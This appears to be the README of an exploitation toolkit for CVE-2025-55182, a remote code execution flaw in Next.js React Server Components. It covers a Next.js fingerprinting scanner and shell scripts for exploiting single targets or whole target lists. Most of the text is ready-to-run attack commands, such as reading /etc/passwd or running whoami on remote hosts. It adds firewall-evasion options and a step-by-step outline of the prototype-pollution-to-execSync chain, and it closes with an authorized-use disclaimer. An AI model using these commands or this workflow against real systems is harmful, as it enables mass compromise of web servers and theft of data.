CVE-2025-55182 Exploitation Tool

A comprehensive security research tool for testing Next.js React Server Components Remote Code Execution vulnerability (CVE-2025-55182).

Overview

This toolkit provides automated detection and exploitation capabilities for CVE-2025-55182, a critical RCE vulnerability affecting Next.js applications using React Server Components. The toolkit consists of three integrated components:

• NextApp.py - Intelligent Next.js application fingerprinting scanner
• exploit.sh - Flexible exploitation tool for single or bulk targets
• auto_exploit.sh - End-to-end automated scanning and exploitation orchestrator

Features

• Multi-layered Detection: Header analysis, body scanning, and JavaScript fingerprinting
• Confidence Scoring: Intelligent classification (High/Medium/Low) to minimize false positives
• WAF Bypass: Built-in techniques to evade common web application firewalls
• Bulk Scanning: Process multiple targets efficiently with detailed reporting
• Automated Workflow: One-command detection and exploitation
• Detailed Reporting: Comprehensive output files with categorized results

Requirements

Python Components

• Python 3.x
• requests library

pip3 install requests

Bash Components

• curl
• openssl
• Standard Unix utilities (sed, grep, awk, mktemp)

Installation

git clone https://github.com/yourusername/CVE-2025-55182-poc-tool.git
cd CVE-2025-55182-poc-tool
chmod +x exploit.sh auto_exploit.sh

Usage

Quick Start (Recommended)

The fastest way to scan and exploit targets:

# Create a file with target URLs (one per line)
echo "https://example.com" > targets.txt

# Auto-scan and exploit in one command
./auto_exploit.sh -i targets.txt -s -c "id"

Detection Only

Identify Next.js applications without exploitation:

python3 NextApp.py targets.txt

Output files:

• confirmed_nextjs_targets.txt - All detected Next.js applications
• high_confidence_nextjs_targets.txt - High-confidence detections only

Single Target Exploitation

Test individual targets:

# Basic exploitation
./exploit.sh -d https://target.com -c "whoami"

# With WAF bypass
./exploit.sh -d target.com -c "cat /etc/passwd" -w

# Custom WAF bypass size
./exploit.sh -d target.com -c "ls -la" --waf-bypass --waf-size 256

# Skip SSL verification
./exploit.sh -d https://target.com -c "id" -k

Bulk Exploitation

Option 1: Unified Workflow (Recommended)

./auto_exploit.sh -i targets.txt -s -c "whoami"

Option 2: Two-Step Manual Workflow

# Step 1: Detect Next.js applications
python3 NextApp.py targets.txt

# Step 2: Exploit confirmed targets
./auto_exploit.sh -c "id"

Advanced Options

# Full auto-scan with WAF bypass
./auto_exploit.sh -i targets.txt -s -w --waf-size 256 -c "whoami"

# Custom delays and timeouts
./auto_exploit.sh -i targets.txt -s --delay 5 --timeout 30 -c "id"

# Skip SSL verification in bulk mode
./auto_exploit.sh -i targets.txt -s -k -c "hostname"

Command Reference

NextApp.py

python3 NextApp.py <targets_file>

Arguments:

• targets_file - Text file containing target URLs (one per line)

exploit.sh

./exploit.sh [OPTIONS]

Options:

Option	Description	Default
-d, --domain	Target domain/URL	http://localhost:3000
-f, --file	File with target list	-
-c, --command	Command to execute	id
-w, --waf-bypass	Enable WAF bypass	Disabled
--waf-size SIZE	WAF bypass data size (KB)	128
--timeout SECONDS	Request timeout	15
-k, --insecure	Skip SSL verification	Disabled
--user-agent AGENT	Custom User-Agent	Mozilla/5.0...
-h, --help	Show help message	-

auto_exploit.sh

./auto_exploit.sh [OPTIONS]

Options:

Option	Description	Default
-i, --input FILE	Input targets file	confirmed_nextjs_targets.txt
-o, --output FILE	Output results file	exploit_results.txt
-c, --command CMD	Command to execute	id
-w, --waf-bypass	Enable WAF bypass	Disabled
--waf-size SIZE	WAF bypass size (KB)	128
--timeout SECONDS	Request timeout	15
-k, --insecure	Skip SSL verification	Disabled
--delay SECONDS	Delay between requests	2
-s, --scan	Auto-scan for Next.js first	Disabled
-h, --help	Show help message	-

Output Files

confirmed_nextjs_targets.txt

Generated by NextApp.py - contains all URLs identified as Next.js applications.

high_confidence_nextjs_targets.txt

Generated by NextApp.py - contains only high-confidence Next.js detections (100+ confidence score).

exploit_results.txt

Generated by auto_exploit.sh - comprehensive exploitation report including:

• Vulnerable targets with command output
• Non-vulnerable targets
• Errors and their details
• Summary statistics

Detection Methodology

The scanner uses multiple detection techniques with a confidence scoring system:

Header Analysis (50 points each)

• Next.js specific headers: x-nextjs-*, x-vercel-*
• x-powered-by: Next.js
• Server: Vercel

Body Scanning

• __NEXT_DATA__ presence (100 points)
• Next.js buildId pattern (50 points)
• _next/* asset paths (25-75 points based on quantity)

JavaScript Fingerprinting (60 points)

• __NEXT_DATA__, __NEXT_LOADED_PAGES__
• middlewareManifest, self.__RSC_MANIFEST

Confidence Thresholds:

• High (100+): Multiple strong indicators
• Medium (75-99): Several moderate indicators
• Low (50-74): Minimal evidence
• Below 50: Rejected as false positive

Exploitation Mechanism

The exploit leverages a prototype pollution chain in Next.js React Server Components:

1. Constructs multipart form data with nested payload
2. Pollutes __proto__ chain via JSON deserialization
3. Injects arbitrary JavaScript into _response._prefix
4. Executes commands via process.mainModule.require('child_process').execSync()
5. Extracts results from X-Action-Redirect header
6. URL-decodes and formats output

WAF Bypass Techniques

The toolkit includes built-in WAF bypass capabilities:

• Junk Data Injection: Prepends random data to bypass size-based filters
• Dynamic Boundaries: Randomized multipart boundaries
• Request ID Randomization: Unique IDs per request
• Configurable Size: Adjustable junk data size (default 128KB)

Enable with -w or --waf-bypass flags.

Examples

Scan and Exploit Web Application

# Create target list
cat > targets.txt << EOF
https://app.example.com
https://dashboard.example.com
https://admin.example.com
EOF

# Run unified scan
./auto_exploit.sh -i targets.txt -s -c "whoami"

# Check results
cat exploit_results.txt

Test Single Target with WAF Bypass

./exploit.sh -d https://target.com -c "cat /etc/passwd" -w --waf-size 256

High-Confidence Targets Only

# Step 1: Detect and filter
python3 NextApp.py targets.txt

# Step 2: Exploit high-confidence only
./auto_exploit.sh -i high_confidence_nextjs_targets.txt -c "id"

Legal Disclaimer

This tool is intended for authorized security testing and research purposes only. Users must:

• ✅ Obtain explicit written permission before testing any systems
• ✅ Use only in authorized penetration testing engagements
• ✅ Comply with all applicable laws and regulations
• ✅ Use for defensive security research and CTF competitions

Unauthorized access to computer systems is illegal. The authors assume no liability for misuse of this tool.

Vulnerability Information

• CVE ID: CVE-2025-55182
• Affected: Next.js React Server Components
• Type: Remote Code Execution (RCE)
• Severity: Critical

Credits